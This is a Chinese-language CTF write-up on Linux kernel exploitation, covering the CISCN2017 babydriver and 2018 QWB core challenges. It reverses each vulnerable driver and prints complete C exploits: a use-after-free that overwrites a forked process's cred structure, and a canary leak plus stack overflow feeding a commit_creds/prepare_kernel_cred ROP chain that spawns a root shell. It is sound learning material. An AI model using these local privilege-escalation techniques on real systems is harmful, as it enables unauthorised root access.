在学习kernel pwn我就是完全跟着wiki走的
CISCN2017 - babydriver
前置
首先题目一般是会给我们三个文件,bzImage,boot.sh,rootfs.cpio
boot.sh:启动kernel的shell脚本
bzImage:kernel binary
rootfs.cpio:文件系统
这里要看文件系统的话需要先改变尾缀为gz,然后gunzip rootfs.cpio.gz,最后再cpio -idmv < rootfs.cpio
1 2
| ~/download/study_kernel/core ls bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr
|
接下来查看init文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ~/download/study_kernel/core cat ./init -n 1 2 3 mount -t proc none /proc 4 mount -t sysfs none /sys 5 mount -t devtmpfs devtmpfs /dev 6 chown root:root flag 7 chmod 400 flag 8 exec 0</dev/console 9 exec 1>/dev/console 10 exec 2>/dev/console 11 12 insmod /lib/modules/4.4.72/babydriver.ko 13 chmod 777 /dev/babydev 14 echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" 15 setsid cttyhack setuidgid 1000 sh 16 17 umount /proc 18 umount /sys 19 poweroff -d 0 -f 20
|
可以看到在12行的时候加入一个驱动文件,一般这就是漏洞LKM。拿到驱动文件开始分析
分析代码
![image]()
首先可以看到除了堆栈不可执行其余保护都是没开的
![image]()
首先在ida可以看到这一结构体
再看babyioctl函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4;
_fentry__(filp, command, arg); v4 = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = _kmalloc(v4, 0x24000C0LL); babydev_struct.device_buf_len = v4; printk("alloc done\n", 0x24000C0LL); return 0LL; } else { printk(&unk_2EB, v3); return -22LL; } }
|
可以看到,这里在command为0x10001时,会先free掉以前的chunk,随后malloc一个我们给他的size的chunk。
babyopen:
1 2 3 4 5 6 7 8
| int __fastcall babyopen(inode *inode, file *filp) { _fentry__(inode, filp); babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL); babydev_struct.device_buf_len = 64LL; printk("device open\n", 0x24000C0LL); return 0; }
|
这里就会生成一个size为0x40的chunk
babyrelease:
1 2 3 4 5 6 7
| int __fastcall babyrelease(inode *inode, file *filp) { _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n", filp); return 0; }
|
这里会释放掉结构体所储存的chunk指针。
babyread:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6;
_fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user(buffer); return v6; } return result; }
|
这里就是如果我们传入的size小于储存的size即可实行copy_to_user。
babywrite:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6;
_fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user(); return v6; } return result; }
|
这里和上面的验证一样。
解题思路
这里可以看到不存在任何溢出,但是这里跟传统用户态不同的是这里的全局变量是整个系统中全局的。那意思就是这里是存在UAF漏洞的。
所以基本思路就是:
1. 首先打开两次设备,更改chunk size为cred结构体的size
2. 释放其中一个,这时就会出现0xa8的空白,那么我们fork一个新的进程,就会让进程的cred结构体占据那一空间
3. 我们还可以通过另一文件描述符修改掉内部的值,提权到root
综上得出exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h>
#include <sys/wait.h> #include <sys/stat.h>
int main() { int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0xa8); close(fd1);
int pid = fork(); if (pid < 0) { puts("[*] error!"); exit(0); } else if (pid == 0) { char payload[30] = {0}; write(fd2, payload, sizeof(payload)); if (getuid() == 0) { puts("[+] root now!"); system("/bin/sh"); exit(0); } } else { wait(NULL); } close(fd2); }
|
最后使用gcc静态编译打包进文件系统就好了
1 2 3 4
| gcc exploit.c -static -o exploit cp exploit core/tmp find . | cpio -o --format=newc > rootfs.cpio cp rootfs.cpio ..
|
2018 强网杯 - core
这道题目的文件多了一个vmlinux,是未经过压缩的kernel文件,不过根据我的实践发现不能直接在题目给的vmlinux提取gedget,可以通过extract-vmlinux提取vmlinux来获取再用Ropper来提取。
一样的先看一下start.sh
1 2 3 4 5 6 7 8 9
| tcdy@arch-linux ~/Downloads/study_kernel % cat -n start.sh 1 qemu-system-x86_64 \ 2 -m 256M \ 3 -kernel ./bzImage \ 4 -initrd ./core.cpio \ 5 -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ 6 -s \ 7 -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ 8 -nographic \
|
可以看到在第五行里面开启了kaslr,这一保护类似与aslr,需要泄漏地址才能获取gadget的地址。
再看一下init文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| tcdy@arch-linux ~/Downloads/study_kernel/core % cat -n init 1 2 mount -t proc proc /proc 3 mount -t sysfs sysfs /sys 4 mount -t devtmpfs none /dev 5 /sbin/mdev -s 6 mkdir -p /dev/pts 7 mount -vt devpts -o gid=4,mode=620 none /dev/pts 8 chmod 666 /dev/ptmx 9 cat /proc/kallsyms > /tmp/kallsyms 10 echo 1 > /proc/sys/kernel/kptr_restrict 11 echo 1 > /proc/sys/kernel/dmesg_restrict 12 ifconfig eth0 up 13 udhcpc -i eth0 14 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 15 route add default gw 10.0.2.2 16 insmod /core.ko 17 18 19 setsid /bin/cttyhack setuidgid 1000 /bin/sh 20 echo 'sh end!\n' 21 umount /proc 22 umount /sys 23 24 poweroff -d 0 -f
|
可以看到第9行里面,系统将/proc/kallsyms放到了/tmp目录,然后又将kptr_restrict和dmesg_restrict设置为1,就不能通过/proc/kallsyms查看函数地址,以及用dmesg来查看kernel信息了。
随后看一下驱动文件的保护:
![image]()
(这篇文章居然跟着我换个系统,哈哈哈哈哈!)
分析驱动
1 2 3 4 5 6
| __int64 init_module() { core_proc = proc_create("core", 438LL, 0LL, &core_fops); printk("\x016core: created /proc/core entry\n"); return 0LL; }
|
看一下可以看到注册到了/proc/core
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B: core_read(a3); break; case 0x6677889C: printk(&unk_2CD); off = a3; break; case 0x6677889A: printk(&unk_2B3); core_copy_func(a3); break; } return 0LL; }
|
core_ioctl函数可以看到十三个选项,分别看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| unsigned __int64 __fastcall core_read(__int64 a1) { char *v2; __int64 i; unsigned __int64 result; char v5[64]; unsigned __int64 v6;
v6 = __readgsqword(0x28u); printk(&unk_25B); printk(&unk_275); v2 = v5; for ( i = 16LL; i; --i ) { *v2 = 0; v2 += 4; } strcpy(v5, "Welcome to the QWB CTF challenge.\n"); result = copy_to_user(a1, &v5[off], 64LL); if ( !result ) return __readgsqword(0x28u) ^ v6; __asm { swapgs } return result; }
|
第一个core_read在最后做了一件事,就是吧v5[off]的值给到了我们的a1,然而这里的a1又是上一级a3,所以我们使用ioctl函数的第三个参数可以接收到这一值
1 2 3 4
| case 0x6677889C: printk(&unk_2CD); off = a3; break;
|
这里第二个选项可以看到我们还可以随意的修改off,所以我们可以这一方式泄漏出一些值,比如canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| __int64 __fastcall core_copy_func(__int64 a1) { __int64 result; _QWORD v2[10];
v2[8] = __readgsqword(0x28u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); return 0xFFFFFFFFLL; } else { result = 0LL; qmemcpy(v2, &name, (unsigned __int16)a1); } return result; }
|
然后第三个选项里可以看到将name全局变量复制到v2里,并且可以看到在获取参数时的数据类型为int64但是在qmemcpy函数内使用的却是unsigned int16,如果我们传入的是0xffffffffffff0100
就可以造成栈溢出。
1 2 3 4 5 6 7 8
| __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) { printk(&unk_215); if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) ) return (unsigned int)a3; printk(&unk_230); return 4294967282LL; }
|
并且在write函数我们还可以控制全局变量name的内容。
解题思路
1. 通过设置off,使用core_read()泄漏出canary
2. 通过core_write()修改name的值,构造rop链
3. 通过core_copy_func()实现栈溢出,进行rop
4. 返回用户态通过system("/bin/sh");获得root shell
在这里需要注意的是在进入内核之前会保存用户态的各种寄存器,所以在最后还要恢复各种寄存器。这里看一下push保存寄存器的操作:
1 2 3 4 5
| pushq $__USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */
|
由于我们会进行ROP,在结束时rsp的值会变动,所以我们就需要自己构造一些值来保证能够正常恢复到用户态。
1 2 3 4 5 6 7 8 9 10
| void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); puts("[*]status has been saved."); }
|
可以看到上面只有四个被保存了,因为最后我们希望rip跳转到system(“/bin/sh”);的地址,所以我们只需要好好构造好栈数据即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h>
size_t user_cs, user_ss, user_sp, user_rflags;
void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); puts("[*]status has been saved."); }
size_t raw_vmlinux_base = 0xffffffff81000000; size_t commit_creds = 0, prepare_kernel_cred = 0, vmlinux_base = 0;
void find_symbols() { FILE *file = fopen("/tmp/kallsyms", "r"); if (file < 0) { puts("[*]open kallsyms error!"); exit(0); } char buf[0x30] = {0}; while (fgets(buf, 0x30, file)) { if (commit_creds & prepare_kernel_cred) return; if (strstr(buf, "commit_creds") && !commit_creds) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &commit_creds); printf("commit_creds addr: %p\n", commit_creds); vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n", vmlinux_base); } if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); } } if (!(prepare_kernel_cred & commit_creds)) { puts("[*]Error!"); exit(0); } }
void get_root() { if (!getuid()) { puts("[*] root now!"); system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); }
int main() { save_status(); int fd = open("/proc/core", 2); if (fd < 0) { puts("[*]open /proc/core error!"); exit(0); } find_symbols(); ssize_t offset = vmlinux_base - raw_vmlinux_base;
ioctl(fd, 0x6677889C, 0x40); char buf[0x30] = {0}; ioctl(fd, 0x6677889B, buf); size_t canary = ((size_t *)buf)[0];
size_t payload[0x1000] = {0}; int i; for (i = 0; i < 10; i++) { payload[i] = canary; } payload[i++] = 0xffffffff81000b2f + offset; payload[i++] = 0; payload[i++] = prepare_kernel_cred; payload[i++] = 0xffffffff810a0f49 + offset; payload[i++] = commit_creds; payload[i++] = 0xffffffff8106a6d2 + offset; payload[i++] = 0xffffffff81a012da + offset; payload[i++] = 0; payload[i++] = 0xffffffff81050ac2 + offset; payload[i++] = (size_t)get_root; payload[i++] = user_cs; payload[i++] = user_rflags; payload[i++] = user_sp; payload[i++] = user_ss;
write(fd, payload, 0x800); ioctl(fd, 0x6677889A, 0xffffffffffff0100); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0; rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset;
rop[i++] = (size_t)spawn_shell;
rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
|
这里是wiki上的payload片段,但是我有点不明白的是这里为什么要把mov rdi, rax; call rdx;的地址放到rcx里,并且这里不应该使用call rdx,如果是使用了call的话就会导致在结束是ret回来的地址就是gadget后面紧随的地址了,这也就导致swapgs以及后续rop chain无法执行,所以这里应该用jmp来代替(我也是在动态调试中发现的)。
其次
![image]()
这里可以看到是可以泄漏出core_ioctl的地址的,所以我们可以不是用/tmp/kallsyms来获取地址。
raw_vmlinux_base的由来:
1 2 3 4 5 6 7 8
| tcdy@arch-linux ~/Downloads/study_kernel % objdump -h test
test: file format elf64-x86-64
Sections: Idx Name Size VMA LMA File off Algn 0 .text 00c0325d ffffffff81000000 0000000001000000 00200000 2**12 CONTENTS, ALLOC, LOAD, READONLY, CODE
|
commit_creds偏移的由来:
1 2
| >>> hex(ELF("./core/vmlinux").symbols['commit_creds']-0xffffffff81000000) '0x9c8e0'
|
参考文章
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/#get-root-shell